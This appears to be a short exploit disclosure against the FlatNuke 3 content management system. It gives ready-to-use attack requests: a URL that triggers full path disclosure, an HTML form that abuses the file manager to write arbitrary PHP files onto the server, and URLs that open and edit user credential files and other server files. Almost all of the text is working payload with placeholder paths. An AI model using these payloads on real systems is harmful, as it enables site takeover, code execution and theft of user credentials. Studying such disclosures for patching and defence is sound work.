Full Path Disclosure Example:

http://www.example.com/flatnuke3_path/index.php?mod=[forum_path]
&op=disc&argumentname=[a_casual_char]
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File Replace Exploit:

<form method="post" action="http://www.example.com/flatnuke3_path/index.php?
mod=none_filemanager&op="><textarea id="body" name="body" cols="90" rows="
35">
</textarea><br><input value="Save" type="submit"><input type="reset">
<input name="opmod" value="save" type="hidden">
<input name="ffile" value="[file_name].php" type="hidden">
<input name="dir" value="/[script_path]/[file_path]" type="hidden"><input
class="button" onclick="history.back()" value="Annulla" type="button"></form>
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User Credential View/Edit Exploit:

http://www.example.com/flatnuke3_path/index.php?mod=none_filemanager&dir=/
[script_path]/[flatnuke3_path]/misc/fndatabase/users/&ffile=[username].
php&opmod=open&op=

Or, for example u can view and edit a file located on the server:

http://www.example.com/flatnuke3_path/index.php?mod=none_filemanager&dir=/
[script_path]/&ffile=[file]&opmod=open&op=